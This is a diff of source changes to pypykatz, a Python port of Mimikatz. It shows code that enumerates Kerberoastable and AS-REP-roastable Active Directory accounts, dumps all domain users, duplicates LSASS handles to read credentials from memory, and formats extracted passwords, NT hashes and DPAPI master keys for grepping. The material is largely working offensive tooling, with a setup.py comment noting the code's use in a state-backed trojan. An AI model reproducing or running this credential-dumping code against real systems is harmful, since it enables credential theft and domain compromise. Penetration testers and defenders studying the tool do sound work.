123
124
125 logging.debug('Enumerated %d user accounts' % ctr)
126
127 elif args.cmd == 'custom':
128 if not args.filter:
129 raise Exception('Custom LDAP search requires the search filter to be specified!')
130 if not args.attrs:
131 raise Exception('Custom LDAP search requires the attributes to be specified!')
132
133 logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
134 logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
135 ctr = 0
136
137 if args.out_file:
138 with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
139 writer = csv.writer(f, delimiter = '\t')
140 writer.writerow(args.attrs)
141 for obj in connection.pagedsearch(args.filter, args.attrs):
142 ctr += 1
143 writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])
144
145 else:
146 for obj in connection.pagedsearch(args.filter, args.attrs):
147 ctr += 1
148 print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))
149
150 logging.debug('Custom search yielded %d results!' % ctr)
44 raise Exception('Coming soon...')
15145
15246 def run(self, args):
153 from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
154 from msldap.ldap_objects import MSADUser
155 from msldap import logger as msldaplogger
156
157 if not args.credential:
158 raise Exception('You must provide credentials when using ldap in platform independent mode.')
159
160 creds = MSLDAPCredential.from_connection_string(args.credential)
161 target = MSLDAPTarget.from_connection_string(args.credential)
162
163 connection = MSLDAPConnection(creds, target)
164 connection.connect()
165
166 try:
167 adinfo = connection.get_ad_info()
168 domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')
169 except Exception as e:
170 logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e)
171 domain = machine.get_domain()
172
173 if args.cmd == 'spn':
174 logging.debug('Enumerating SPN user accounts...')
175 cnt = 0
176 if args.out_file:
177 with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
178 for user in connection.get_all_service_user_objects():
179 cnt += 1
180 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
181
182 else:
183 print('[+] SPN users')
184 for user in connection.get_all_service_user_objects():
185 cnt += 1
186 print('%s/%s' % (domain, user.sAMAccountName))
187
188 logging.debug('Enumerated %d SPN user accounts' % cnt)
189
190 elif args.cmd == 'asrep':
191 logging.debug('Enumerating ASREP user accounts...')
192 ctr = 0
193 if args.out_file:
194 with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
195 for user in connection.get_all_knoreq_user_objects():
196 ctr += 1
197 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
198 else:
199 print('[+] ASREP users')
200 for user in connection.get_all_knoreq_user_objects():
201 ctr += 1
202 print('%s/%s' % (domain, user.sAMAccountName))
203
204 logging.debug('Enumerated %d ASREP user accounts' % ctr)
205
206 elif args.cmd == 'dump':
207 logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
208 ctr = 0
209 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
210 if args.out_file:
211 with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
212 writer = csv.writer(f, delimiter = '\t')
213 writer.writerow(attrs)
214 for user in connection.get_all_user_objects():
215 ctr += 1
216 writer.writerow(user.get_row(attrs))
217
218 else:
219 logging.debug('Are you sure about this?')
220 print('[+] Full user dump')
221 print('\t'.join(attrs))
222 for user in connection.get_all_user_objects():
223 ctr += 1
224 print('\t'.join([str(x) for x in user.get_row(attrs)]))
225
226
227 logging.debug('Enumerated %d user accounts' % ctr)
228
229 elif args.cmd == 'custom':
230 if not args.filter:
231 raise Exception('Custom LDAP search requires the search filter to be specified!')
232 if not args.attrs:
233 raise Exception('Custom LDAP search requires the attributes to be specified!')
234
235 logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
236 logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
237 ctr = 0
238
239 if args.out_file:
240 with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
241 writer = csv.writer(f, delimiter = '\t')
242 writer.writerow(args.attrs)
243 for obj in connection.pagedsearch(args.filter, args.attrs):
244 ctr += 1
245 writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])
246
247 else:
248 for obj in connection.pagedsearch(args.filter, args.attrs):
249 ctr += 1
250 print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))
251
252 logging.debug('Custom search yielded %d results!' % ctr)
47 raise Exception('Coming soon...')
25348
2828 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
2929 live_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
3030 live_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
31 live_group.add_argument('--method', choices = ['procopen', 'handledup'], default = 'procopen', help = 'Print credentials in greppable format')
3132
3233 group = parser.add_parser('lsa', help='Get secrets from memory dump')
3334 group.add_argument('cmd', choices=['minidump','rekall'])
143144 if args.module == 'lsa':
144145 filename = 'live'
145146 try:
146 mimi = pypykatz.go_live()
147 if args.method == 'procopen':
148 mimi = pypykatz.go_live()
149 elif args.method == 'handledup':
150 mimi = pypykatz.go_handledup()
151 if mimi is None:
152 raise Exception('HANDLEDUP failed to bring any results!')
147153 results['live'] = mimi
148154 except Exception as e:
149155 files_with_error.append(filename)
9191 self.log('Looking for main struct signature in memory...')
9292 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature)
9393 if len(fl) == 0:
94 logging.warning('signature not found! %s' % self.decryptor_template.signature.hex())
94 logging.debug('signature not found! %s' % self.decryptor_template.signature.hex())
9595 raise Exception('LSA signature not found!')
9696
9797 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
4242 self.log('Looking for main struct signature in memory...')
4343 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature)
4444 if len(fl) == 0:
45 logger.warning('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex())
45 logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex())
4646 raise Exception('LSA signature not found!')
4747
4848 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
372372 continue
373373
374374 self.walk_list(entry_ptr, self.add_entry)
375
376 #self.brute_test()
377
378 #def brute_test(self):
379 # from pypykatz.commons.win_datatypes import LUID
380 # luid_int = 1138792
381 # luid_bytes = luid_int.to_bytes(8, byteorder='little', signed=False)
382 # needle_luid = LUID(io.BytesIO(luid_bytes)).value
383 # offset = 0x70
384 #
385 # for luid_pos in self.reader.find_all_global(luid_bytes):
386 # self.reader.move(luid_pos - offset)
387 # et = self.decryptor_template.list_entry(self.reader).finaltype
388 # self.reader.move(luid_pos - offset)
389 # test_ptr = et(self.reader)
390 # if test_ptr.LocallyUniqueIdentifier == needle_luid:
391 # print('HIT!')
392 # entry_ptr = self.decryptor_template.list_entry(self.reader)
393 # try:
394 # self.walk_list(test_ptr.Flink, self.add_entry)
395 # except Exception as e:
396 # print('ERR! %s' % e)
1313 TspkgDecryptor, TspkgTemplate, KerberosTemplate, KerberosDecryptor, \
1414 DpapiTemplate, DpapiDecryptor, LsaDecryptor
1515
16 from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession
1617 from pypykatz import logger
1718 from pypykatz.commons.common import UniversalEncoder
1819 from minidump.minidumpfile import MinidumpFile
4546 return t
4647
4748 def to_json(self):
48 return json.dumps(self.to_dict(), cls = UniversalEncoder)
49
49 return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)
50
51 def to_grep(self):
52 res = ':'.join(LogonSession.grep_header) + '\r\n'
53 for luid in self.logon_sessions:
54 for row in self.logon_sessions[luid].to_grep_rows():
55 res += ':'.join(row) + '\r\n'
56 for cred in self.orphaned_creds:
57 t = cred.to_dict()
58 if t['credtype'] != 'dpapi':
59 if t['password'] is not None:
60 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
61 res += ':'.join(x) + '\r\n'
62 else:
63 t = cred.to_dict()
64 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
65 res += ':'.join(x) + '\r\n'
66
67 return res
68
69 def __str__(self):
70 res = '== Logon credentials ==\r\n'
71 for luid in self.logon_sessions:
72 res += str(self.logon_sessions[luid]) + '\r\n'
73
74 if len(self.orphaned_creds) > 0:
75 res += '== Orphaned credentials ==\r\n'
76 for cred in self.orphaned_creds:
77 res += str(cred) + '\r\n'
78
79 return res
80
5081 @staticmethod
5182 def go_live():
5283 if platform.system() != 'Windows':
5384 raise Exception('Live parsing will only work on Windows')
5485 from pypykatz.commons.readers.local.live_reader import LiveReader
5586 reader = LiveReader()
87 sysinfo = KatzSystemInfo.from_live_reader(reader)
88 mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
89 mimi.start()
90 return mimi
91
92 @staticmethod
93 def go_handledup():
94 if platform.system() != 'Windows':
95 raise Exception('Live parsing will only work on Windows')
96 from pypykatz.commons.winapi.local.function_defs.live_reader_ctypes import enum_lsass_handles
97 lsass_handles = enum_lsass_handles()
98 if len(lsass_handles) == 0:
99 raise Exception('No handles found to LSASS!')
100 for pid, lsass_handle in lsass_handles:
101 try:
102 return pypykatz.go_live_phandle(lsass_handle)
103 except Exception as e:
104 print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e))
105
106 @staticmethod
107 def go_live_phandle(lsass_process_handle):
108 if platform.system() != 'Windows':
109 raise Exception('Live parsing will only work on Windows')
110 from pypykatz.commons.readers.local.live_reader import LiveReader
111 reader = LiveReader(lsass_process_handle=lsass_process_handle)
56112 sysinfo = KatzSystemInfo.from_live_reader(reader)
57113 mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
58114 mimi.start()
169225
170226 def get_lsa_bruteforce(self):
171227 #good luck!
172 logger.info('Testing all available templates! Expect warnings!')
228 logger.debug('Testing all available templates! Expect warnings!')
173229 for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo):
174230 try:
175231 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
177233 except:
178234 pass
179235 else:
180 logger.info('Lucky you! Brutefoce method found a -probably- working template!')
236 logger.debug('Lucky you! Brutefoce method found a -probably- working template!')
181237 return lsa_dec
182238
183239 def get_lsa(self):
186242 lsa_dec_template = LsaTemplate.get_template(self.sysinfo)
187243 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
188244 logger.debug(lsa_dec.dump())
189 except:
190 logger.exception('Failed to automatically detect correct LSA template!')
245 except Exception as e:
246 logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e))
191247 lsa_dec = self.get_lsa_bruteforce()
192248 if lsa_dec is None:
193249 raise Exception('All detection methods failed.')
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import json
56
67 class SAMSecret:
78 def __init__(self, username, rid, nt_hash, lm_hash):
195195 self.homedir = None
196196 self.homedir_connect = None
197197 self.script_path = None
198 self.profile_path = None
199198 self.profile_path = None
200199 self.workstations = None
201200 self.hoursallowed = None
374373 t += ' %s: %s: %s' % (k, i, str(item))
375374 else:
376375 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
377 return t
376 return t
+0
-14
pypykatz.egg-info/PKG-INFO less more
0 Metadata-Version: 1.2
1 Name: pypykatz
2 Version: 0.3.7
3 Summary: Python implementation of Mimikatz
4 Home-page: https://github.com/skelsec/pypykatz
5 Author: Tamas Jos
6 Author-email: [email protected]
7 License: UNKNOWN
8 Description: UNKNOWN
9 Platform: UNKNOWN
10 Classifier: Programming Language :: Python :: 3.6
11 Classifier: License :: OSI Approved :: MIT License
12 Classifier: Operating System :: OS Independent
13 Requires-Python: >=3.6
+0
-160
pypykatz.egg-info/SOURCES.txt less more
0 README.md
1 setup.py
2 pypykatz/__init__.py
3 pypykatz/__main__.py
4 pypykatz/_version.py
5 pypykatz/pypykatz.py
6 pypykatz.egg-info/PKG-INFO
7 pypykatz.egg-info/SOURCES.txt
8 pypykatz.egg-info/dependency_links.txt
9 pypykatz.egg-info/entry_points.txt
10 pypykatz.egg-info/requires.txt
11 pypykatz.egg-info/top_level.txt
12 pypykatz.egg-info/zip-safe
13 pypykatz/commons/__init__.py
14 pypykatz/commons/common.py
15 pypykatz/commons/filetime.py
16 pypykatz/commons/kerberosticket.py
17 pypykatz/commons/win_datatypes.py
18 pypykatz/commons/readers/__init__.py
19 pypykatz/commons/readers/local/__init__.py
20 pypykatz/commons/readers/local/live_reader.py
21 pypykatz/commons/readers/local/common/__init__.py
22 pypykatz/commons/readers/local/common/advapi32.py
23 pypykatz/commons/readers/local/common/defines.py
24 pypykatz/commons/readers/local/common/fileinfo.py
25 pypykatz/commons/readers/local/common/kernel32.py
26 pypykatz/commons/readers/local/common/live_reader_ctypes.py
27 pypykatz/commons/readers/local/common/privileges.py
28 pypykatz/commons/readers/local/common/privileges_types.py
29 pypykatz/commons/readers/local/common/psapi.py
30 pypykatz/commons/readers/local/common/version.py
31 pypykatz/commons/readers/local/common/winreg.py
32 pypykatz/commons/readers/registry/__init__.py
33 pypykatz/commons/readers/registry/live/__init__.py
34 pypykatz/commons/readers/registry/live/reader.py
35 pypykatz/commons/readers/rekall/__init__.py
36 pypykatz/commons/readers/rekall/rekallreader.py
37 pypykatz/commons/readers/volatility3/__init__.py
38 pypykatz/commons/readers/volatility3/volreader.py
39 pypykatz/commons/winapi/__init__.py
40 pypykatz/commons/winapi/constants.py
41 pypykatz/commons/winapi/machine.py
42 pypykatz/commons/winapi/processmanipulator.py
43 pypykatz/commons/winapi/local/__init__.py
44 pypykatz/commons/winapi/local/advapi32.py
45 pypykatz/commons/winapi/local/kernel32.py
46 pypykatz/commons/winapi/local/localwindowsapi.py
47 pypykatz/commons/winapi/local/ntdll.py
48 pypykatz/commons/winapi/local/psapi.py
49 pypykatz/commons/winapi/local/sid.py
50 pypykatz/commons/winapi/local/function_defs/__init__.py
51 pypykatz/commons/winapi/local/function_defs/advapi32.py
52 pypykatz/commons/winapi/local/function_defs/defines.py
53 pypykatz/commons/winapi/local/function_defs/fileinfo.py
54 pypykatz/commons/winapi/local/function_defs/kernel32.py
55 pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py
56 pypykatz/commons/winapi/local/function_defs/netapi32.py
57 pypykatz/commons/winapi/local/function_defs/netapi32_high.py
58 pypykatz/commons/winapi/local/function_defs/ntdll.py
59 pypykatz/commons/winapi/local/function_defs/privileges.py
60 pypykatz/commons/winapi/local/function_defs/privileges_types.py
61 pypykatz/commons/winapi/local/function_defs/psapi.py
62 pypykatz/commons/winapi/local/function_defs/version.py
63 pypykatz/commons/winapi/local/function_defs/winreg.py
64 pypykatz/crypto/RC4.py
65 pypykatz/crypto/__init__.py
66 pypykatz/crypto/des.py
67 pypykatz/crypto/aes/AES.py
68 pypykatz/crypto/aes/__init__.py
69 pypykatz/crypto/aes/blockfeeder.py
70 pypykatz/crypto/aes/util.py
71 pypykatz/crypto/unified/__init__.py
72 pypykatz/crypto/unified/aes.py
73 pypykatz/crypto/unified/common.py
74 pypykatz/crypto/unified/des.py
75 pypykatz/crypto/unified/des3.py
76 pypykatz/crypto/unified/pbkdf2.py
77 pypykatz/crypto/unified/pkcs7.py
78 pypykatz/dpapi/__init__.py
79 pypykatz/dpapi/constants.py
80 pypykatz/dpapi/dpapi.py
81 pypykatz/dpapi/structures/__init__.py
82 pypykatz/dpapi/structures/blob.py
83 pypykatz/dpapi/structures/credentialfile.py
84 pypykatz/dpapi/structures/masterkeyfile.py
85 pypykatz/dpapi/structures/system.py
86 pypykatz/dpapi/structures/vault.py
87 pypykatz/kerberos/__init__.py
88 pypykatz/kerberos/cmdhelper.py
89 pypykatz/ldap/__init__.py
90 pypykatz/ldap/cmdhelper.py
91 pypykatz/lsadecryptor/__init__.py
92 pypykatz/lsadecryptor/cmdhelper.py
93 pypykatz/lsadecryptor/lsa_decryptor.py
94 pypykatz/lsadecryptor/lsa_decryptor_nt5.py
95 pypykatz/lsadecryptor/lsa_decryptor_nt6.py
96 pypykatz/lsadecryptor/lsa_template_nt5.py
97 pypykatz/lsadecryptor/lsa_template_nt6.py
98 pypykatz/lsadecryptor/lsa_templates.py
99 pypykatz/lsadecryptor/package_commons.py
100 pypykatz/lsadecryptor/packages/__init__.py
101 pypykatz/lsadecryptor/packages/credman/__init__.py
102 pypykatz/lsadecryptor/packages/credman/templates.py
103 pypykatz/lsadecryptor/packages/dpapi/__init__.py
104 pypykatz/lsadecryptor/packages/dpapi/decryptor.py
105 pypykatz/lsadecryptor/packages/dpapi/templates.py
106 pypykatz/lsadecryptor/packages/kerberos/__init__.py
107 pypykatz/lsadecryptor/packages/kerberos/decryptor.py
108 pypykatz/lsadecryptor/packages/kerberos/templates.py
109 pypykatz/lsadecryptor/packages/livessp/__init__.py
110 pypykatz/lsadecryptor/packages/livessp/decryptor.py
111 pypykatz/lsadecryptor/packages/livessp/templates.py
112 pypykatz/lsadecryptor/packages/msv/__init__.py
113 pypykatz/lsadecryptor/packages/msv/decryptor.py
114 pypykatz/lsadecryptor/packages/msv/templates.py
115 pypykatz/lsadecryptor/packages/ssp/__init__.py
116 pypykatz/lsadecryptor/packages/ssp/decryptor.py
117 pypykatz/lsadecryptor/packages/ssp/templates.py
118 pypykatz/lsadecryptor/packages/tspkg/__init__.py
119 pypykatz/lsadecryptor/packages/tspkg/decryptor.py
120 pypykatz/lsadecryptor/packages/tspkg/templates.py
121 pypykatz/lsadecryptor/packages/wdigest/__init__.py
122 pypykatz/lsadecryptor/packages/wdigest/decryptor.py
123 pypykatz/lsadecryptor/packages/wdigest/templates.py
124 pypykatz/plugins/__init__.py
125 pypykatz/plugins/pypykatz_rekall.py
126 pypykatz/registry/__init__.py
127 pypykatz/registry/cmdhelper.py
128 pypykatz/registry/live_parser.py
129 pypykatz/registry/offline_parser.py
130 pypykatz/registry/sam/__init__.py
131 pypykatz/registry/sam/common.py
132 pypykatz/registry/sam/sam.py
133 pypykatz/registry/sam/structures.py
134 pypykatz/registry/security/__init__.py
135 pypykatz/registry/security/common.py
136 pypykatz/registry/security/security.py
137 pypykatz/registry/security/structures.py
138 pypykatz/registry/software/__init__.py
139 pypykatz/registry/software/software.py
140 pypykatz/registry/system/__init__.py
141 pypykatz/registry/system/system.py
142 pypykatz/remote/__init__.py
143 pypykatz/remote/cmdhelper.py
144 pypykatz/remote/live/__init__.py
145 pypykatz/remote/live/common/__init__.py
146 pypykatz/remote/live/common/common.py
147 pypykatz/remote/live/localgroup/__init__.py
148 pypykatz/remote/live/localgroup/enumerator.py
149 pypykatz/remote/live/session/__init__.py
150 pypykatz/remote/live/session/enumerator.py
151 pypykatz/remote/live/share/__init__.py
152 pypykatz/remote/live/share/enumerator.py
153 pypykatz/utils/__init__.py
154 pypykatz/utils/crypto/__init__.py
155 pypykatz/utils/crypto/cmdhelper.py
156 pypykatz/utils/crypto/gppassword.py
157 pypykatz/utils/crypto/winhash.py
158 pypykatz/utils/sake/__init__.py
159 pypykatz/utils/sake/sake.py
+0
-1
pypykatz.egg-info/dependency_links.txt less more
0
+0
-3
pypykatz.egg-info/entry_points.txt less more
0 [console_scripts]
1 pypykatz = pypykatz.__main__:main
2
+0
-5
pypykatz.egg-info/requires.txt less more
0 minidump>=0.0.12
1 minikerberos>=0.2.0
2 aiowinreg>=0.0.3
3 msldap>=0.2.7
4 winsspi>=0.0.3
+0
-1
pypykatz.egg-info/top_level.txt less more
0 pypykatz
+0
-1
pypykatz.egg-info/zip-safe less more
0
+0
-4
setup.cfg less more
0 [egg_info]
1 tag_build =
2 tag_date = 0
3
00 from setuptools import setup, find_packages
11 import re
2 import platform
23
34 VERSIONFILE="pypykatz/_version.py"
45 verstrline = open(VERSIONFILE, "rt").read()
910 else:
1011 raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,))
1112
13 ep = {
14 'console_scripts': [
15 'pypykatz = pypykatz.__main__:main',
16 ],
17 }
18
1219 setup(
1320 # Application name:
1421 name="pypykatz",
1825
1926 # Application author details:
2027 author="Tamas Jos",
21 author_email="[email protected]",
28 author_email="[email protected]",
2229
2330 # Packages
2431 packages=find_packages(),
4350 "Operating System :: OS Independent",
4451 ),
4552 install_requires=[
46 'minidump>=0.0.12',
47 'minikerberos>=0.2.0',
53 'minidump>=0.0.13',
54 'minikerberos>=0.2.5',
4855 'aiowinreg>=0.0.3',
49 'msldap>=0.2.7',
50 'winsspi>=0.0.3'
56 'msldap>=0.3.20',
57 'winsspi>=0.0.9',
5158 ],
5259
53 entry_points={
54 'console_scripts': [
55 'pypykatz = pypykatz.__main__:main',
56 ],
57 }
60 # No more conveinent .exe entry point thanks to some idiot who
61 # used the code without modification in a state-backed trojan.
62 # Thank you for runing it for everyone.
63 #
64 #
65 entry_points=ep if platform.system().lower() != 'windows' else {}
5866 )